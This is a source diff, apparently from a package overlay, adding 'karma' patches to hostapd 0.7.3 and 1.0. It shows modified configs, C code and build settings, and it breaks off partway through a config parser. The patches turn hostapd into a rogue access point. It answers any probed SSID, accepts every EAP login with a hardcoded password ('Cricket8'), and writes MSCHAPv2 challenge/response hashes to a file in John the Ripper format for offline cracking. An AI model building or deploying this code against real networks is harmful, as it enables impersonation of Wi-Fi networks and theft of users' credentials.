++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
new file mode 100644
index 00000000..e1cc89e3
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
@@ -0,0 +1,481 @@
+diff -urN hostapd-0.7.3.orig/hostapd/Makefile hostapd-0.7.3/hostapd/Makefile
+--- hostapd-0.7.3.orig/hostapd/Makefile 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/Makefile 2011-05-02 15:59:46.787000009 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -84,6 +84,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+diff -urN hostapd-0.7.3.orig/hostapd/hostapd.conf hostapd-0.7.3/hostapd/hostapd.conf
+--- hostapd-0.7.3.orig/hostapd/hostapd.conf 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/hostapd.conf 2011-05-02 15:59:46.788000008 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -99,14 +100,14 @@
+
+ # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g,
+ # Default: IEEE 802.11b
+-hw_mode=a
++hw_mode=b
+
+ # Channel number (IEEE 802.11)
+ # (default: 0, i.e., not set)
+ # Please note that some drivers (e.g., madwifi) do not use this value from
+ # hostapd and the channel will need to be configuration separately with
+ # iwconfig.
+-channel=60
++channel=1
+
+ # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
+ beacon_int=100
+@@ -410,7 +411,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -418,7 +419,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -460,16 +461,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -477,9 +480,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -674,6 +679,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -695,6 +701,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-0.7.3.orig/hostapd/main.c hostapd-0.7.3/hostapd/main.c
+--- hostapd-0.7.3.orig/hostapd/main.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/main.c 2011-05-02 16:01:06.320000003 +0800
+@@ -36,6 +36,10 @@
+ extern int wpa_debug_show_keys;
+ extern int wpa_debug_timestamp;
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_interfaces {
+ size_t count;
+@@ -458,7 +462,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -468,7 +472,9 @@
+ " -P PID file\n"
+ " -K include key data in debug messages\n"
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -486,7 +492,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "BdhKP:tv");
++ c = getopt(argc, argv, "BdhKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -511,6 +517,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-0.7.3.orig/src/ap/beacon.c hostapd-0.7.3/src/ap/beacon.c
+--- hostapd-0.7.3.orig/src/ap/beacon.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/beacon.c 2011-05-02 15:59:46.789000006 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -250,7 +255,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-0.7.3.orig/src/ap/hostapd.c hostapd-0.7.3/src/ap/hostapd.c
+--- hostapd-0.7.3.orig/src/ap/hostapd.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/hostapd.c 2011-05-02 15:59:46.789000006 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-0.7.3.orig/src/ap/ieee802_11.c hostapd-0.7.3/src/ap/ieee802_11.c
+--- hostapd-0.7.3.orig/src/ap/ieee802_11.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/ieee802_11.c 2011-05-02 15:59:46.790000004 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -533,8 +535,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server.c hostapd-0.7.3/src/eap_server/eap_server.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server.c 2011-05-02 15:59:46.791000002 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
+-
+- if (sm == NULL || sm->eapol_cb == NULL ||
+- sm->eapol_cb->get_eap_user == NULL)
+- return -1;
+-
+- eap_user_free(sm->user);
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
+ sm->user = NULL;
+
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
++ sm->eapol_cb->get_eap_user == NULL)
++ return -1;
+
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c
+--- hostapd-0.7.3.orig/src/eap_server/eap_server_mschapv2.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/eap_server/eap_server_mschapv2.c 2011-05-02 15:59:46.792000002 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -289,13 +291,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -335,6 +339,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-0.7.3.orig/src/karma/karma.c hostapd-0.7.3/src/karma/karma.c
+--- hostapd-0.7.3.orig/src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.c 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ cur_time = time(NULL);
++ (void) time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s:%s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s:%s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-0.7.3.orig/src/karma/karma.h hostapd-0.7.3/src/karma/karma.h
+--- hostapd-0.7.3.orig/src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-0.7.3/src/karma/karma.h 2011-05-02 15:59:46.792000002 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-0.7.3.orig/src/utils/wpa_debug.c hostapd-0.7.3/src/utils/wpa_debug.c
+--- hostapd-0.7.3.orig/src/utils/wpa_debug.c 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/utils/wpa_debug.c 2011-05-02 15:59:46.793000003 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ #ifdef CONFIG_DEBUG_FILE
+ static FILE *out_file = NULL;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
new file mode 100644
index 00000000..d16424d1
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma-0.2.patch
@@ -0,0 +1,1199 @@
+diff -Nur hostapd-1.0/hostapd/.config hostapd-1.0-karma/hostapd/.config
+--- hostapd-1.0/hostapd/.config 1970-01-01 01:00:00.000000000 +0100
++++ hostapd-1.0-karma/hostapd/.config 2012-08-06 16:55:02.000000000 +0100
+@@ -0,0 +1,246 @@
++# Example hostapd build time configuration
++#
++# This file lists the configuration options that are used when building the
++# hostapd binary. All lines starting with # are ignored. Configuration option
++# lines must be commented out complete, if they are not to be included, i.e.,
++# just setting VARIABLE=n is not disabling that variable.
++#
++# This file is included in Makefile, so variables like CFLAGS and LIBS can also
++# be modified from here. In most cass, these lines should use += in order not
++# to override previous values of the variables.
++
++# Driver interface for Host AP driver
++CONFIG_DRIVER_HOSTAP=y
++
++# Driver interface for wired authenticator
++#CONFIG_DRIVER_WIRED=y
++
++# Driver interface for madwifi driver
++#CONFIG_DRIVER_MADWIFI=y
++#CFLAGS += -I../../madwifi # change to the madwifi source directory
++
++# Driver interface for drivers using the nl80211 kernel interface
++CONFIG_DRIVER_NL80211=y
++
++# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
++#CONFIG_DRIVER_BSD=y
++#CFLAGS += -I/usr/local/include
++#LIBS += -L/usr/local/lib
++#LIBS_p += -L/usr/local/lib
++#LIBS_c += -L/usr/local/lib
++
++# Driver interface for no driver (e.g., RADIUS server only)
++#CONFIG_DRIVER_NONE=y
++
++# IEEE 802.11F/IAPP
++CONFIG_IAPP=y
++
++# WPA2/IEEE 802.11i RSN pre-authentication
++CONFIG_RSN_PREAUTH=y
++
++# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
++CONFIG_PEERKEY=y
++
++# IEEE 802.11w (management frame protection)
++# This version is an experimental implementation based on IEEE 802.11w/D1.0
++# draft and is subject to change since the standard has not yet been finalized.
++# Driver support is also needed for IEEE 802.11w.
++#CONFIG_IEEE80211W=y
++
++# Integrated EAP server
++CONFIG_EAP=y
++
++# EAP-MD5 for the integrated EAP server
++CONFIG_EAP_MD5=y
++
++# EAP-TLS for the integrated EAP server
++CONFIG_EAP_TLS=y
++
++# EAP-MSCHAPv2 for the integrated EAP server
++CONFIG_EAP_MSCHAPV2=y
++
++# EAP-PEAP for the integrated EAP server
++CONFIG_EAP_PEAP=y
++
++# EAP-GTC for the integrated EAP server
++CONFIG_EAP_GTC=y
++
++# EAP-TTLS for the integrated EAP server
++CONFIG_EAP_TTLS=y
++
++# EAP-SIM for the integrated EAP server
++#CONFIG_EAP_SIM=y
++
++# EAP-AKA for the integrated EAP server
++#CONFIG_EAP_AKA=y
++
++# EAP-AKA' for the integrated EAP server
++# This requires CONFIG_EAP_AKA to be enabled, too.
++#CONFIG_EAP_AKA_PRIME=y
++
++# EAP-PAX for the integrated EAP server
++#CONFIG_EAP_PAX=y
++
++# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
++#CONFIG_EAP_PSK=y
++
++# EAP-pwd for the integrated EAP server (secure authentication with a password)
++#CONFIG_EAP_PWD=y
++
++# EAP-SAKE for the integrated EAP server
++#CONFIG_EAP_SAKE=y
++
++# EAP-GPSK for the integrated EAP server
++#CONFIG_EAP_GPSK=y
++# Include support for optional SHA256 cipher suite in EAP-GPSK
++#CONFIG_EAP_GPSK_SHA256=y
++
++# EAP-FAST for the integrated EAP server
++# Note: Default OpenSSL package does not include support for all the
++# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL,
++# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch)
++# to add the needed functions.
++#CONFIG_EAP_FAST=y
++
++# Wi-Fi Protected Setup (WPS)
++#CONFIG_WPS=y
++# Enable WSC 2.0 support
++#CONFIG_WPS2=y
++# Enable UPnP support for external WPS Registrars
++#CONFIG_WPS_UPNP=y
++
++# EAP-IKEv2
++#CONFIG_EAP_IKEV2=y
++
++# Trusted Network Connect (EAP-TNC)
++#CONFIG_EAP_TNC=y
++
++# PKCS#12 (PFX) support (used to read private key and certificate file from
++# a file that usually has extension .p12 or .pfx)
++CONFIG_PKCS12=y
++
++# RADIUS authentication server. This provides access to the integrated EAP
++# server from external hosts using RADIUS.
++#CONFIG_RADIUS_SERVER=y
++
++# Build IPv6 support for RADIUS operations
++CONFIG_IPV6=y
++
++# IEEE Std 802.11r-2008 (Fast BSS Transition)
++#CONFIG_IEEE80211R=y
++
++# Use the hostapd's IEEE 802.11 authentication (ACL), but without
++# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211)
++#CONFIG_DRIVER_RADIUS_ACL=y
++
++# IEEE 802.11n (High Throughput) support
++#CONFIG_IEEE80211N=y
++
++# Remove debugging code that is printing out debug messages to stdout.
++# This can be used to reduce the size of the hostapd considerably if debugging
++# code is not needed.
++#CONFIG_NO_STDOUT_DEBUG=y
++
++# Add support for writing debug log to a file: -f /tmp/hostapd.log
++# Disabled by default.
++CONFIG_DEBUG_FILE=y
++
++# Remove support for RADIUS accounting
++#CONFIG_NO_ACCOUNTING=y
++
++# Remove support for RADIUS
++#CONFIG_NO_RADIUS=y
++
++# Remove support for VLANs
++#CONFIG_NO_VLAN=y
++
++# Enable support for fully dynamic VLANs. This enables hostapd to
++# automatically create bridge and VLAN interfaces if necessary.
++#CONFIG_FULL_DYNAMIC_VLAN=y
++
++# Remove support for dumping state into a file on SIGUSR1 signal
++# This can be used to reduce binary size at the cost of disabling a debugging
++# option.
++#CONFIG_NO_DUMP_STATE=y
++
++# Enable tracing code for developer debugging
++# This tracks use of memory allocations and other registrations and reports
++# incorrect use with a backtrace of call (or allocation) location.
++#CONFIG_WPA_TRACE=y
++# For BSD, comment out these.
++#LIBS += -lexecinfo
++#LIBS_p += -lexecinfo
++#LIBS_c += -lexecinfo
++
++# Use libbfd to get more details for developer debugging
++# This enables use of libbfd to get more detailed symbols for the backtraces
++# generated by CONFIG_WPA_TRACE=y.
++#CONFIG_WPA_TRACE_BFD=y
++# For BSD, comment out these.
++#LIBS += -lbfd -liberty -lz
++#LIBS_p += -lbfd -liberty -lz
++#LIBS_c += -lbfd -liberty -lz
++
++# hostapd depends on strong random number generation being available from the
++# operating system. os_get_random() function is used to fetch random data when
++# needed, e.g., for key generation. On Linux and BSD systems, this works by
++# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
++# properly initialized before hostapd is started. This is important especially
++# on embedded devices that do not have a hardware random number generator and
++# may by default start up with minimal entropy available for random number
++# generation.
++#
++# As a safety net, hostapd is by default trying to internally collect
++# additional entropy for generating random data to mix in with the data
++# fetched from the OS. This by itself is not considered to be very strong, but
++# it may help in cases where the system pool is not initialized properly.
++# However, it is very strongly recommended that the system pool is initialized
++# with enough entropy either by using hardware assisted random number
++# generator or by storing state over device reboots.
++#
++# hostapd can be configured to maintain its own entropy store over restarts to
++# enhance random number generation. This is not perfect, but it is much more
++# secure than using the same sequence of random numbers after every reboot.
++# This can be enabled with -e<entropy file> command line option. The specified
++# file needs to be readable and writable by hostapd.
++#
++# If the os_get_random() is known to provide strong random data (e.g., on
++# Linux/BSD, the board in question is known to have reliable source of random
++# data from /dev/urandom), the internal hostapd random pool can be disabled.
++# This will save some in binary size and CPU use. However, this should only be
++# considered for builds that are known to be used on devices that meet the
++# requirements described above.
++#CONFIG_NO_RANDOM_POOL=y
++
++# Select TLS implementation
++# openssl = OpenSSL (default)
++# gnutls = GnuTLS
++# internal = Internal TLSv1 implementation (experimental)
++# none = Empty template
++#CONFIG_TLS=openssl
++
++# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
++# can be enabled to get a stronger construction of messages when block ciphers
++# are used.
++#CONFIG_TLSV11=y
++
++# If CONFIG_TLS=internal is used, additional library and include paths are
++# needed for LibTomMath. Alternatively, an integrated, minimal version of
++# LibTomMath can be used. See beginning of libtommath.c for details on benefits
++# and drawbacks of this option.
++#CONFIG_INTERNAL_LIBTOMMATH=y
++#ifndef CONFIG_INTERNAL_LIBTOMMATH
++#LTM_PATH=/usr/src/libtommath-0.39
++#CFLAGS += -I$(LTM_PATH)
++#LIBS += -L$(LTM_PATH)
++#LIBS_p += -L$(LTM_PATH)
++#endif
++# At the cost of about 4 kB of additional binary size, the internal LibTomMath
++# can be configured to include faster routines for exptmod, sqr, and div to
++# speed up DH and RSA calculation considerably
++#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
++
++# Interworking (IEEE 802.11u)
++# This can be used to enable functionality to improve interworking with
++# external networks.
++#CONFIG_INTERWORKING=y
+diff -Nur hostapd-1.0/hostapd/config_file.c hostapd-1.0-karma/hostapd/config_file.c
+--- hostapd-1.0/hostapd/config_file.c 2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/config_file.c 2012-08-06 12:20:55.000000000 +0100
+@@ -122,6 +122,63 @@
+ }
+
+
++// KARMA
++static int hostapd_config_read_karma_ssid(const char *fname, struct hostapd_config *conf) {
++ FILE *f;
++ char buf[33], *pos;
++ int line = 0;
++ karma_ssid_t *karma_ssid;
++
++ if (!fname)
++ return 0;
++
++ f = fopen(fname, "r");
++ if (!f) {
++ wpa_printf(MSG_ERROR, "MAC list file '%s' not found.", fname);
++ return -1;
++ }
++
++ while (fgets(buf, sizeof(buf), f)) {
++ line++;
++
++ if (buf[0] == '#')
++ continue;
++ pos = buf;
++ while (*pos != '\0') {
++ if (*pos == '\n') {
++ *pos = '\0';
++ break;
++ }
++ pos++;
++ }
++ if (buf[0] == '\0')
++ continue;
++
++ wpa_printf(MSG_DEBUG, "Found ssid in file: %s", buf);
++
++ if (strlen (buf) > HOSTAPD_MAX_SSID_LEN) {
++ wpa_printf(MSG_ERROR, "ESSID too long '%s' at "
++ "line %d in '%s'", buf, line, fname);
++ fclose(f);
++ return -1;
++ }
++
++ karma_ssid = os_malloc (sizeof (karma_ssid_t));
++ karma_ssid->length = strlen(buf);
++ karma_ssid->ssid = os_malloc (karma_ssid->length + 1);
++ os_memcpy(karma_ssid->ssid, buf, strlen(buf) + 1);
++ karma_ssid->next = conf->karma_list;
++ conf->karma_list = karma_ssid;
++ wpa_printf(MSG_DEBUG, "CTRL_IFACE KARMA ADDED SUCCESSFULLY");
++ }
++
++ fclose(f);
++
++ return 0;
++}
++
++// END KARMA
++
+ static int hostapd_config_read_maclist(const char *fname,
+ struct mac_acl_entry **acl, int *num)
+ {
+@@ -1216,6 +1273,17 @@
+
+ bss = conf->last_bss = conf->bss;
+
++ // KARMA
++ // default Karma to off
++ conf->enable_karma = 0;
++
++ // default to black list so everything is accepted
++ conf->karma_black_white = 1;
++
++ // Nothing in the black/white list to start with
++ conf->karma_list = NULL;
++ // KARMA END
++
+ while (fgets(buf, sizeof(buf), f)) {
+ bss = conf->last_bss;
+ line++;
+@@ -1279,6 +1347,30 @@
+ bss->logger_syslog = atoi(pos);
+ } else if (os_strcmp(buf, "logger_stdout") == 0) {
+ bss->logger_stdout = atoi(pos);
++ // KARMA START
++ } else if (os_strcmp(buf, "karma_ssid_file") == 0) {
++ if (hostapd_config_read_karma_ssid (pos, conf))
++ {
++ wpa_printf(MSG_ERROR, "Line %d: Failed to "
++ "read karma_ssid_file '%s'",
++ line, pos);
++ errors++;
++ }
++ } else if (os_strcmp(buf, "karma_black_white") == 0) {
++ int val = atoi(pos);
++ conf->karma_black_white = (val != 0);
++ if (conf->karma_black_white == 0) {
++ wpa_printf(MSG_DEBUG, "KARMA: White list mode");
++ } else {
++ wpa_printf(MSG_DEBUG, "KARMA: Black list mode");
++ }
++ } else if (os_strcmp(buf, "enable_karma") == 0) {
++ int val = atoi(pos);
++ conf->enable_karma = (val != 0);
++ if (conf->enable_karma) {
